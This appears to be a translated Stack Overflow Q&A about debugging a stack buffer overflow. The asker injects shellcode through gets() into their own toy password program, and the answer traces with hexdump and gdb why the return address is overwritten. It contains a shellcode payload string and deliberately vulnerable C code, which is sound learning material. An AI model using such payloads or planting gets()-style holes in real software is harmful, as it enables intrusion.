我正在尝试将 shellcode 注入(inject)到我编写的接受用户输入的基本程序中。我的问题是,即使我已经正确地排列了我的 shellcode 以便我能够重写堆栈中的返回地址,正确的地址并没有存储在那个位置。我对我的 shellcode 进行了 printf,然后是一些计算出的填充,然后是我的 shellcode 在堆栈中的位置地址。
$ printf "\xe8\x09\x00\x00\x00\x41\x43\x43\x45\x50\x54\x45\x44\x6e\x59\xc6\x41
\x08\x00\xba\x08\x00\x00\x00\xbb\x01\x00\x00\x00\xb8\x04\x00\x00\x00\xc\x80
\xf4%025x\x5e\xf3\xff\xbf" | ./victim
我试图覆盖返回地址的地址是 0xbffff35e。然而,当我在 gdb 中运行它时,它会出现段错误,因为“5e”部分没有正确编码到我的堆栈中。
我在 gdb 中得到这个:
Program terminated with signal 11, Segmentation fault.
#0 0xbffff365 in ?? ()
我的程序应该在 0xbffff35e 处执行指令,但它用“65”代替了“5e”字节应该在的位置。我正确地使用了十六进制格式说明符,那么为什么会发生这种情况?除\x5e 十六进制字节外,其他所有字节似乎都正确写入
编辑: 这是我的受害者的代码。我想要做的就是注入(inject) shellcode,以便它打印出“ACCEPTED”,而不是到达打印“DENIED”的下一行
void getPass() {
char password[50];
gets(password);
}
int main() {
printf("Please enter your password: \n");
getPass();
printf("PASSWORD DENIED\n");
return 0;
}
反汇编我的受害者代码
(gdb) disas getPass
Dump of assembler code for function getPass:
0x080482bc <+0>: push %ebp
0x080482bd <+1>: mov %esp,%ebp
0x080482bf <+3>: sub $0x58,%esp
0x080482c2 <+6>: lea -0x3a(%ebp),%eax
0x080482c5 <+9>: mov %eax,(%esp)
0x080482c8 <+12>: call 0x8049370 <gets>
0x080482cd <+17>: leave
0x080482ce <+18>: ret
(gdb) disas main
Dump of assembler code for function main:
0x080482cf <+0>: push %ebp
0x080482d0 <+1>: mov %esp,%ebp
0x080482d2 <+3>: and $0xfffffff0,%esp
0x080482d5 <+6>: sub $0x10,%esp
0x080482d8 <+9>: movl $0x80b314c,(%esp)
0x080482df <+16>: call 0x8049510 <puts>
0x080482e4 <+21>: call 0x80482bc <getPass>
0x080482e9 <+26>: movl $0x80b3169,(%esp)
0x080482f0 <+33>: call 0x8049510 <puts>
0x080482f5 <+38>: mov $0x0,%eax
0x080482fa <+43>: leave
0x080482fb <+44>: ret
最佳答案
printf 的输出是
[wally@lenovoR61 ~]$ printf "\xe8\x09\x00\x00\x00\x41\x43\x43\x45\x50\x54\x45\x44\x6e\x59\xc6\x41\x08\x00\xba\x08\x00\x00\x00\xbb\x01\x00\x00\x00\xb8\x04\x00\x00\x00\xc\x80\xf4%025x\x5e\xf3\xff\xbf" \
> | hexdump -C
00000000 e8 09 00 00 00 41 43 43 45 50 54 45 44 6e 59 c6 |.....ACCEPTEDnY.|
00000010 41 08 00 ba 08 00 00 00 bb 01 00 00 00 b8 04 00 |A...............|
00000020 00 00 0c 80 f4 30 30 30 30 30 30 30 30 30 30 30 |.....00000000000|
00000030 30 30 30 30 30 30 30 30 30 30 30 30 30 30 5e f3 |00000000000000^.|
00000040 ff bf |..|
00000042
所以,从第 50 个字节开始,是这样的:
00000032 30 30 30 30 30 30 30 30 30 30 30 30 5e f3 | 000000000000^.|
00000040 ff bf |..|
00000042
所以保存的ebp
和返回地址应该是一堆30
。 getPass() 的指令是:
getPass:
pushl %ebp
movl %esp, %ebp
subl $88, %esp
leal -58(%ebp), %eax
movl %eax, (%esp)
call gets
leave
ret
因此 leave
将“恢复的”ebp
更改为 0x30303030,因为堆栈的那部分被它覆盖了。返回地址在它下面,也是 0x30303030,至少在 32 位 x86 代码中是这样。
我希望这总是段错误,即使在 SELinux 上也是如此。
附录:
好吧,所需的地址似乎对我有用。为了设置它以便 gdb
可以查看堆栈帧,我将数据写入一个文件并更改 victim.c
以读取它:
$ printf "\xe8\x09\x00\x00\x00\x41\x43\x43\x45\x50\x54\x45\x44\x6e\x59\xc6\x41\x08\x00\xba\x08\x00\x00\x00\xbb\x01\x00\x00\x00\xb8\x04\x00\x00\x00\xc\x80\xf4%025x\x5e\xf3\xff\xbf" \
> >victim.txt
$ cat victim.c
#include <stdio.h>
void getPass()
{
char password[50];
gets(password);
}
int main()
{
FILE *f = freopen ("victim.txt", "r", stdin);
printf("Please enter your password: \n");
getPass();
printf("PASSWORD DENIED\n");
return 0;
}
$ gdb victim
...
Temporary breakpoint 1, main () at victim.c:12
12 FILE *f = freopen ("victim.txt", "r", stdin);
(gdb) next
13 printf("Please enter your password: \n");
(gdb)
Please enter your password:
14 getPass();
(gdb) step
getPass () at victim.c:6
6 gets(password);
(gdb) bt
#0 getPass () at victim.c:7
#1 0xbffff35e in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
(gdb) step
Cannot access memory at address 0x30303034
这表明它正在返回到 0x30303030。你得到了什么?
关于c - 十六进制格式说明符在 shellcode 中产生不可预测的结果,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/25143771/